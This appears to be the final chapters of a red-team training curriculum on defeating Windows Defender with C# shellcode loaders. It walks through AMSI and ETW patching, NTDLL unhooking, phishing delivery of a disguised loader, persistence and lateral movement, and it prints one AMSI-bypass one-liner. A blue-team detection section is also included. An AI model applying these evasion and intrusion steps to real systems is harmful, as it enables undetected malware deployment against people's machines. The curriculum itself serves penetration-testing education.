Instead of calling NT functions through the hooked `ntdll.dll` (which is what Loader 08 does), you can load a fresh, unhooked copy of `ntdll.dll` from disk. `ntdll.dll` exists on disk at `C:\Windows\System32\ntdll.dll` with no hooks. You can read this file into memory, map it manually (or use `LoadLibrary` with a different name), and resolve functions from the fresh copy. Because the fresh copy was never hooked by Defender, all functions execute without interception.

The benefit is that you completely bypass all API hooks, not just reduce their effectiveness. The downside is that loading a second copy of `ntdll.dll` into your process is detectable by EDR products that monitor module loading.

11.11.2 Variation 2: Syscall Stubs from Disk

A variation of NTDLL unhooking is to read the syscall stub bytes (the `mov eax, <number>; syscall; ret` pattern) from the on-disk `ntdll.dll` and use those bytes directly. You do not need to map the entire DLL. Just read the first 20 or so bytes of each NT function from the file, extract the syscall number, and issue the `syscall` instruction from your own code.

This is what tools like SysWhispers3 and SysWhispers4 generate. They create assembly stubs with the correct syscall numbers for each Windows build.

11.11.3 Variation 3: Sleep Obfuscation

After the shellcode is running, the Meterpreter session periodically sleeps (waits for the next check-in with Kali). During sleep, the shellcode's bytes are sitting in memory in readable form. If Defender does a periodic memory scan during a sleep, it could find the Meterpreter payload bytes and flag them.

Sleep obfuscation encrypts the shellcode bytes in memory during sleep periods and decrypts them when the session wakes up. This means the payload is only visible in memory during the brief periods when it is actively running, not during the longer sleep periods.

This is an advanced technique that requires modifying the Meterpreter payload or using a custom C2 framework. It is beyond the scope of this curriculum but is important to know about for real-world operations.

11.12 Detection and Defense (Blue Team Perspective)

Deploy kernel-level ETW monitoring. The user-mode `EtwEventWrite` patch does not affect kernel-mode ETW. The Microsoft-Windows-Threat-Intelligence provider runs in the kernel and cannot be patched from user mode. It logs process creation, virtual memory operations, and image loads from kernel space.

Blue team action: deploy EDR products that consume the kernel-mode Threat Intelligence ETW provider. This defeats the user-mode ETW patch and provides visibility into all memory allocation, protection changes, and thread creation regardless of what the attacker patches in user mode.

Implement code integrity checks on system DLLs. Periodically compare the in-memory code of `ntdll.dll` and `amsi.dll` against their on-disk copies. Any difference means the DLL has been patched.

Blue team action: deploy an agent that periodically reads the code sections of `ntdll.dll` and `amsi.dll` from the disk file and compares them byte-for-byte against the loaded copies in each running process. Alert on any differences.

Monitor for `NtWriteVirtualMemory` cross-process calls. `NtWriteVirtualMemory` is the NT-level function for writing to another process's memory. Legitimate programs rarely use it (they use `WriteProcessMemory` through `kernel32`, which Defender hooks). If you detect a direct call to `NtWriteVirtualMemory` targeting another process, that is a strong injection signal.

Blue team action: use kernel callbacks (`ObRegisterCallbacks`) to monitor process handle creation with write access, and correlate with subsequent memory operations on that handle. This catches injection regardless of whether the attacker uses `kernel32` or `ntdll` functions.

Use Windows Defender Application Control (WDAC). None of the evasion techniques in this curriculum work if the binary is not allowed to run in the first place. WDAC restricts which binaries can execute to a pre-approved list based on signatures, publishers, or file hashes. A

custom-compiled loader will not be on the list and will be blocked before it can execute any code.

Blue team action: implement WDAC in production environments with a strict policy. Only signed binaries from trusted publishers should be permitted. This is the single most effective defense against custom loaders.

Detect anomalous network connections from system processes. In remote injection mode, the Meterpreter connection comes from explorer.exe or svchost.exe. These processes do make network connections normally, but the destination IP and port pattern may be unusual. A system process connecting to an unknown IP on port 4444 is suspicious.

Blue team action: baseline normal network behavior for system processes and alert on connections to IP addresses that do not match known update servers, CDNs, or business applications.

11.13 What Comes Next

Document 11 (lab/materials/11_real_world_scenarios.md) covers real-world attack scenarios where these techniques are used. It explains how the techniques combine in actual red team engagements, what you encounter when facing third-party EDR products (not just Defender), and what the current state of evasion looks like as of September 2026.

Document 11: Real-World Scenarios - How Evasion Techniques Work in the Field

12.1 Where We Are

You finished Documents 00 through 10. You have built eight loaders and learned six evasion techniques:

Loader	Technique	Outcome against Defender
Loader 01	Raw shellcode via DllImport	Caught
Loader 02	XOR-encrypted shellcode	Encrypted file survived, loader caught
Loader 03	Dynamic resolution + NT functions + two-step allocation	First callback (survived Defender)
Loader 04	AMSI bypass (AmsiScanBuffer patch)	Low detection standalone
Loader 05	Remote thread injection	Caught alone
Loader 06	Early Bird APC injection	Caught alone
Loader 07	ETW patch (NtTraceEvent patch)	Low detection standalone
Loader 08	All techniques combined	Fully stealthy (no detection)

You can now compile C# loaders, encrypt shellcode, patch system functions, resolve APIs dynamically, inject into other processes, and bypass Defender's six detection layers. This document explains how these techniques work in real red team engagements, what changes when you face security products beyond Defender, and what the current evasion landscape looks like.

12.2 Why This Is Next

Everything you have done so far was in a controlled lab. One target machine, one attacker machine, one security product (Defender), and no one watching. In a real red team engagement, the situation is completely different.

The company you are testing has hundreds or thousands of machines on their network, not just one. They are running Defender plus a third-party EDR product plus a SIEM (Security Information and Event Management system that collects logs from everywhere) plus network monitoring that watches traffic coming in and going out. There is a security team actively watching dashboards for anything suspicious. You need access that lasts for days or weeks, not the few minutes it takes to get a Meterpreter shell. You need to move from the first machine you compromise to other machines on the network without getting caught. And you need to find and extract sensitive data without triggering network alerts.

This document does not introduce new code or new loaders. Instead, it walks through real engagement scenarios and shows you where the techniques from this curriculum fit, where they fall short, and what you need to learn next.

12.3 Scenario 1: Initial Access on a Corporate Workstation

12.3.1 The Situation

You have been hired by a company to test their security. Your goal is to get access to a workstation on the corporate network. The company uses Windows 11 with Defender (default settings) on all workstations. They do not have a third-party EDR product.

12.3.2 What You Do

Step 1: Prepare the payload. On your attack machine (Kali), generate a Meterpreter reverse TCP payload and encrypt it with XOR. This is exactly what you did in Document 06.

Step 2: Deliver the loader. You need to get `stealth_loader.exe` (Loader 08) and `encrypted.bin` onto a target workstation. In a real engagement, you would not walk up to the machine and download files from a Python HTTP server. Instead, you would use one of these delivery methods:

- **Phishing email:** Send an email with the loader attached (renamed to something innocuous like “Q3_Report.exe”) or a link to download it from a web server you control. The email would target a specific employee.
- **USB drop:** Leave a USB drive in the company’s parking lot with the loader on it, hoping an employee plugs it in.
- **Compromised web application:** If the company has a web application with a file upload vulnerability, upload the loader through it.
- **Supply chain:** If you have access to a software package the company uses, modify it to include the loader.

For Defender-only environments, the phishing approach works well. The encrypted payload file (`encrypted.bin`) and the loader (`stealth_loader.exe`) both pass Defender’s disk scan because the loader has a clean import table and the payload is XOR-encrypted.

Step 3: Execute. Once the employee runs the loader (perhaps by clicking what they think is a report), Loader 08’s six-step sequence runs:

1. ETW is patched (no telemetry)
2. AMSI is patched (no script scanning)
3. Shellcode is decrypted in memory
4. NT functions are resolved dynamically
5. Memory is allocated (RW then RX)
6. Shellcode executes

You get a Meterpreter session on your listener.

Step 4: Establish persistence. A Meterpreter session dies when the user reboots or the process exits. You need persistence, a way to automatically re-establish access after a reboot. Common persistence methods include:

- Adding a scheduled task that runs your loader at startup
- Adding a registry key in `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
- Creating a Windows service
- Placing a DLL in a location where a legitimate program will load it (DLL hijacking)

Each persistence method has its own detection considerations. Registry keys and scheduled tasks are monitored by Defender. DLL hijacking is harder to detect but requires finding a vulnerable application.

Step 5: Lateral movement. From the compromised workstation, you can scan the internal network for other machines. If the workstation has cached credentials (Kerberos tickets, NTLM hashes), you can use them to authenticate to other machines. Pass-the-hash, pass-the-ticket, and Kerberos delegation attacks let you move from one machine to another without knowing the plaintext password.

The AMSI bypass (Loader 04) is critical here. Many lateral movement tools (Rubeus for Kerberos, SharpHound for Active Directory enumeration, Seatbelt for system information gathering) are written in .NET. Without the AMSI bypass, Defender blocks these tools when they are loaded into memory.

12.3.3 What Defender Sees

With Loader 08, Defender sees nothing during the initial access phase. No alerts, no quarantine, no protection history entries. The loader's telemetry is disabled (ETW patch), its code is not scanned (AMSI patch), and its behavior does not trigger ML detection (clean imports, two-step allocation).

The risk increases as you spend more time on the machine. Defender's periodic memory scans can eventually find Meterpreter's payload bytes in the target process's memory. The probability depends on the scan frequency, the payload size, and whether you use sleep obfuscation (mentioned in Document 10's variations).

12.4 Scenario 2: Facing a Third-Party EDR Product

12.4.1 The Situation

The company uses CrowdStrike Falcon, Carbon Black, SentinelOne, or another third-party EDR product on top of Defender. EDR stands for Endpoint Detection and Response. These products are much more aggressive than Defender alone because they run their own monitoring code at the kernel level, scan process memory more frequently, analyze behavior using cloud-based machine learning, and maintain their own threat intelligence databases separate from Microsoft's.

12.4.2 What Changes

Kernel-level ETW is still active. In Document 08, you patched `EtwEventWrite` in `ntdll.dll`, which is a user-mode function. Third-party EDR products use the Microsoft-Windows-Threat-Intelligence ETW provider, which runs inside the Windows kernel itself. Your user-mode patch does not touch the kernel. The EDR still sees your memory allocations, thread creation, and process injection through kernel callbacks even though user-mode ETW is dead.

User-mode hooks are more aggressive. EDR products hook more functions than Defender does. Defender primarily hooks a few dozen critical functions in `ntdll.dll`. EDR products can hook hundreds of functions, including functions you might not expect (like `GetProcAddress` itself, or `VirtualProtect`). This means your dynamic resolution calls might be intercepted by EDR hooks.

Call stack analysis. Advanced EDR products check the call stack when a suspicious API is called. The call stack shows which functions called which other functions. If the call stack shows `NtAllocateVirtualMemory` being called from an unknown memory region (not from a known DLL), the EDR flags it as suspicious. Loader 08's calls go through `ntdll.dll` (resolved by `GetProcAddress`), so the call stack looks legitimate, but some EDR products check deeper.

Memory scanning is more frequent. Defender scans process memory periodically but not aggressively. EDR products scan more frequently and look for more patterns. They maintain databases of known shellcode byte sequences (including Meterpreter, Cobalt Strike, Sliver, etc.) and scan for those patterns in process memory.

12.4.3 What You Do Differently

Against a third-party EDR, Loader 08 may not be enough. The additional techniques you would consider:

Indirect syscalls: Instead of calling NT functions through the `ntdll.dll` copy in your process (which may be hooked by the EDR), you find the `syscall` instruction inside `ntdll.dll` and jump to it directly from your code. The call stack then shows the return address inside `ntdll.dll`, which looks legitimate. Tools like `SysWhispers3` and `SysWhispers4` generate indirect syscall stubs for C#.

NTDLL unhooking: Load a fresh copy of `ntdll.dll` from disk, which has no EDR hooks, and resolve functions from the clean copy. You read `C:\Windows\System32\ntdll.dll` into memory, map it as a PE image, and use it instead of the hooked copy.

Custom C2 frameworks: Instead of Meterpreter (which is widely signature-matched), use a custom C2 framework or a less common one like Sliver, Havoc, or Mythic. Custom payloads have no public signatures, so EDR memory scanners are less likely to match them.

Sleep obfuscation: Encrypt the payload in memory during sleep periods so periodic scans do not find recognizable bytes. Tools like Ekko, Foliage, and custom ROP-based sleep obfuscation can do this.

Module stomping: Instead of allocating new memory for your shellcode, overwrite the code section of a loaded DLL that is not being used. The shellcode lives in memory that appears to belong to a legitimate DLL.

Hardware breakpoint hooks: Instead of patching function bytes (which memory integrity checks can detect), use hardware debug registers to set breakpoints on functions like `EtwEventWrite`. When the breakpoint triggers, your code runs instead of the function. No bytes are modified in the DLL's code, so integrity checks pass.

These are advanced techniques beyond the scope of this curriculum, but they are what red team operators use in real engagements against modern EDR.

12.5 Scenario 3: Post-Exploitation and Data Exfiltration

12.5.1 The Situation

You have access to several machines on the corporate network. Your goal now is to find sensitive data and extract it to your infrastructure without triggering network monitoring.

12.5.2 How the Curriculum's Techniques Apply

AMSI bypass for tool loading: You need to run various .NET tools on compromised machines to enumerate the network, find domain controllers, extract credentials, and locate sensitive files. Tools like SharpHound (Active Directory enumeration), Rubeus (Kerberos attacks), and Seatbelt (host enumeration) are all .NET assemblies. Without AMSI patching, Defender blocks them. With Loader 04's AMSI patch applied in your Meterpreter process, you can load these tools using `Assembly.LoadFile` and they run without being scanned.

Process injection for tool execution. Instead of running tools in your Meterpreter process (which could crash and kill your session), inject them into separate processes. Use Loader 05 or Loader 08's remote injection to run each tool in its own sacrificial process. If the tool crashes or gets detected, only the sacrificial process is terminated, not your main session.

ETW patching on every machine. Each machine you access has its own ETW and AMSI. When you land on a new machine, your first action is to patch ETW and AMSI in your process before doing anything else. The execution order from Document 08 (ETW first, AMSI second) applies every time.

Network evasion is separate from host evasion. This curriculum covers host-level evasion (bypassing Defender on the machine). Network-level evasion (hiding your traffic from firewalls, IDS/IPS, and network monitoring) is a separate discipline. Meterpreter's traffic over TCP looks like a standard reverse TCP connection. Network monitoring tools can detect this based on:

- Connections to known-bad IP addresses
- Unusual traffic patterns (periodic check-ins at regular intervals)
- Traffic on unusual ports (4444 is a well-known Meterpreter default)
- Long-lived connections that stay open for hours

For real engagements, you would use HTTPS C2 traffic (which blends with normal web browsing), DNS C2 (which hides traffic in DNS queries), or domain fronting (which routes traffic through legitimate CDN domains). These are network-level evasion techniques outside the scope of this curriculum.

12.6 Scenario 4: Red Team vs Blue Team Exercise

12.6.1 The Situation

Your company runs an internal red vs blue exercise. The red team (you) tries to compromise targets while the blue team (defenders) tries to detect and stop you. The blue team has access to SIEM logs, EDR consoles, network monitoring, and can make real-time changes to detection rules.

12.6.2 How This Changes Your Approach

Speed matters. In a lab, you can take your time. In a live exercise, the blue team is watching. Once you trigger any alert (even a minor one), the blue team starts investigating. They will look at the process tree, check running processes, examine network connections, and may push new detection rules. You need to move fast between access and establishing persistence.

Minimizing artifacts is critical. Every file you drop to disk, every process you create, every network connection you make is an artifact that the blue team can find. The best approach is:

- Drop the minimum number of files (ideally just the loader and encrypted payload)
- Delete the files after execution (the shellcode is already in memory)

- Use process injection to move your shellcode into a legitimate process
- Exit the loader process once injection is complete

Pre-built infrastructure. You do not want to set up your Kali listener during the exercise. Set up your C2 infrastructure beforehand: HTTPS listeners with valid certificates, redirectors that proxy traffic through legitimate domains, and multiple fallback listeners in case one is discovered.

Multiple payloads. If your primary payload gets detected, you need a backup. Prepare different loaders with different techniques (local execution vs injection, different XOR keys, different target processes). If Defender catches one combination, switch to another.

12.6.3 The Loaders You Would Use

For a red vs blue exercise against Defender, your loadout would be:

1. **Loader 08 (combined evasion, remote mode)** as the primary payload. Patches ETW, patches AMSI, decrypts shellcode, resolves dynamically, injects into explorer.exe.
2. **Loader 08 (combined evasion, local mode)** as a backup. If remote injection fails (admin privileges not available), fall back to local execution.
3. **Loader 03 (dynamic resolution, no patches)** as a minimal fallback. If the ETW or AMSI patches are detected (because the blue team pushed new rules), this loader can still get a callback without patching anything.
4. **A staged loader** (not built in this curriculum) that downloads and executes the payload from memory without writing it to disk. This reduces the number of files on the target's hard drive.

12.7 The Current State of Evasion (September 2026)

12.7.1 What Works Against Default Defender

The techniques in this curriculum work against Windows 11 Defender at default settings as of September 2026. Specifically:

- XOR encryption defeats static file scanning
- Dynamic resolution via GetProcAddress defeats import table analysis
- EtwEventWrite patching defeats user-mode ETW telemetry
- AmsiScanBuffer patching defeats AMSI runtime scanning
- Two-step allocation (RW then RX) keeps the behavioral ML score below threshold
- NT-level functions via delegates reduce API hook effectiveness

Microsoft updates Defender's signatures and behavioral models regularly. A technique that works today might be detected after the next update. The defense against this is not to find one technique that works forever, but to understand the detection mechanisms well enough to adapt when something gets caught.

12.7.2 What Does Not Work Anymore

Several techniques that were common in the past are now reliably detected:

Classic process hollowing. The NtUnmapViewOfSection + WriteProcessMemory + SetThreadContext pattern is detected by Defender and every major EDR product. Document 09 covered this and explained why Loader 06 (Early Bird APC) is used instead.

Single-step RWX allocation. Allocating memory with PAGE_EXECUTE_READWRITE in a single VirtualAlloc call is a high-confidence detection signal. Every major security product flags it. Two-step allocation (RW then RX) is the standard replacement.

String-based AMSI bypass. Early AMSI bypasses used PowerShell one-liners like `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').Set`. These strings are now in every signature database. The binary patching approach in Loader 04 works because it does not use recognizable strings.

Direct msfvenom output. Running msfvenom and using the raw output directly (as in Loader 01) is detected by every security product. The raw shellcode bytes match public signatures. XOR encryption (Loader 02) or custom encoding is required.

Unencrypted Meterpreter traffic. Raw TCP Meterpreter sessions are easily detected by network monitoring tools. HTTPS transport with legitimate-looking certificates is the minimum for production engagements.

12.7.3 What is Evolving

The evasion landscape is an arms race. Attackers develop new techniques, defenders add detection for those techniques, and attackers adapt. Here are the areas where the most change is happening:

Kernel-level telemetry. Microsoft is investing heavily in the Microsoft-Windows-Threat-Intelligence ETW provider and other kernel-level monitoring. As this becomes more prevalent, user-mode ETW patching becomes less effective. The long-term trend is toward kernel-level evasion, which requires kernel drivers (much harder to develop and deploy) or exploiting vulnerabilities in the kernel monitoring itself.

AI-based detection. Security products are increasingly using machine learning models that analyze process behavior holistically rather than matching individual signatures. These models look at combinations of actions (memory allocation patterns, network connections, file operations) and score them for maliciousness. Defeating ML models requires understanding what features the model uses and ensuring your loader's behavior matches legitimate software closely enough.

Hardware-based security. Technologies like Virtualization-Based Security (VBS), Hypervisor-Protected Code Integrity (HVCI), and Secured-Core PCs create hardware-enforced boundaries that user-mode code cannot bypass. As these technologies become standard, some evasion techniques become impossible without hardware-level attacks.

Memory forensics. Tools like Volatility, WinDbg, and commercial memory forensics products can analyze a memory dump and find injected code, patched functions, and suspicious memory regions. In-memory evasion (sleep obfuscation, module stomping, thread stack spoofing) is the response to this capability.

12.8 How This Curriculum Maps to Professional Red Team Skills

12.8.1 Skills You Have

After completing this curriculum, you can:

1. Write C# code that interacts with the Windows API at both the kernel32 and NT level
2. Understand how Windows Defender detects malicious software across six detection layers
3. Build loaders that bypass each detection layer using specific techniques
4. Combine multiple evasion techniques into a single tool with correct execution order

5. Generate, encrypt, and deploy shellcode payloads
6. Inject code into running processes and suspended processes
7. Patch system functions (AMSI, ETW) to disable monitoring
8. Explain each technique's mechanism, not just run pre-built tools

12.8.2 Skills You Still Need

This curriculum covers host-level evasion against default Defender. A professional red team operator also needs:

Active Directory exploitation. Most corporate networks use Active Directory. Understanding Kerberoasting, AS-REP roasting, delegation attacks, Golden/Silver ticket attacks, and domain trust exploitation is essential. Tools like Rubeus, Impacket, and BloodHound are standard.

Network-level evasion. Hiding C2 traffic from firewalls, IDS/IPS, and network monitoring. HTTPS C2, DNS tunneling, domain fronting, and encrypted channels.

Privilege escalation. Moving from a standard user account to local administrator to domain administrator. Windows privilege escalation vectors include unquoted service paths, DLL hijacking, token impersonation, and kernel exploits.

Cloud and Azure AD. Many companies use Azure AD, Office 365, and cloud infrastructure. Cloud red teaming involves OAuth token theft, application consent attacks, and Azure resource exploitation.

Reporting. Writing clear, actionable reports that explain what you found, how you got there, what the risk is, and what the remediation is. This is what clients pay for.

Tool development. Building custom tools beyond what public frameworks provide. Custom C2 frameworks, custom implants, custom shellcode, and custom delivery mechanisms.

12.8.3 Where to Go Next

The logical next step after this curriculum depends on what part of red teaming you want to specialize in:

If you want to go deeper on evasion:

- Study indirect syscalls and implement them in C#
- Build a custom C2 framework (even a simple one)
- Learn sleep obfuscation techniques
- Study how specific EDR products work and how to bypass each one
- Practice with commercial EDR trial licenses in your lab

If you want to go wider on offensive security:

- Set up an Active Directory lab with a domain controller and multiple machines
- Learn Kerberos attacks (Rubeus, Impacket)
- Learn Azure AD and cloud attacks
- Study web application exploitation (another common entry point)

Certifications that validate these skills:

- OSEP (Offensive Security Experienced Penetration Tester) covers evasion and advanced exploitation

- CRTO (Certified Red Team Operator) from Zero-Point Security covers C2 frameworks and Active Directory
- CRTL (Certified Red Team Lead) from Zero-Point Security for more advanced operations
- PNPT (Practical Network Penetration Tester) from TCM Security for a broader foundation

12.9 Summary of the Complete Curriculum

Here is everything you learned, document by document:

Document	Title	What You Learned
00	Introduction	What this curriculum teaches, why evasion matters, prerequisites
01	Lab Setup	Build three-machine lab: Kali attacker, Windows dev box (Defender disabled), Windows target (Defender enabled)
02	C# Basics	Variables, loops, functions, classes through security-focused examples
03	Windows API	DllImport, P/Invoke, calling Windows functions from C#, MessageBox, VirtualAlloc
04	Memory Fundamentals	Process memory, VirtualAlloc, Marshal.Copy, VirtualProtect, CreateThread
05	Shellcode Loader	Build first loader, generate msfvenom payload, understand why Defender catches it
06	Encoding Evasion	XOR encryption/decryption, bypass disk scanning, understand behavioral detection
07	Direct Syscalls	Dynamic resolution, NT functions, two-step allocation, first successful callback
08	AMSI and ETW	Patch AmsiScanBuffer and EtwEventWrite, correct execution order, blind Defender's monitoring
09	Process Injection	Remote thread injection, Early Bird APC injection, run code inside legitimate processes
10	Combined Evasion	All techniques in one loader, local and remote modes, fully stealthy callback
11	Real-World Scenarios	How techniques apply in real engagements, EDR differences, current evasion landscape

And the eight loaders you built:

Loader	File	Techniques Used
01	lab/loaders/01_shellcode_loader.cs	Raw shellcode, DllImport, VirtualAlloc
02	lab/loaders/02_xor_encoder.cs	XOR encryption/decryption
03	lab/loaders/03_direct_syscalls_loader.cs	Dynamic resolution, NT functions, two-step allocation
04	lab/loaders/04_amsi_bypass.cs	AmsiScanBuffer patch
05	lab/loaders/05_reflective_injector.cs	Remote thread injection
06	lab/loaders/06_process_hollowing_attack.cs	Process Bird APC injection
07	lab/loaders/07_etw_patch.cs	EtwEventWrite patch
08	lab/loaders/08_combined_evasion.cs	All techniques combined

You started with zero C# knowledge and ended with a fully working combined evasion loader that bypasses Windows 11 Defender at full defaults. Every technique was explained at the mechanism level (how it works and why it works), not just the execution level (run this command and see what happens).

The difference between someone who runs pre-built tools and someone who is a red team operator is understanding. If a technique gets detected, the operator who understands the mechanism can modify their approach. The operator who only knows which buttons to press is stuck. This curriculum taught you the mechanisms so you can adapt when things change.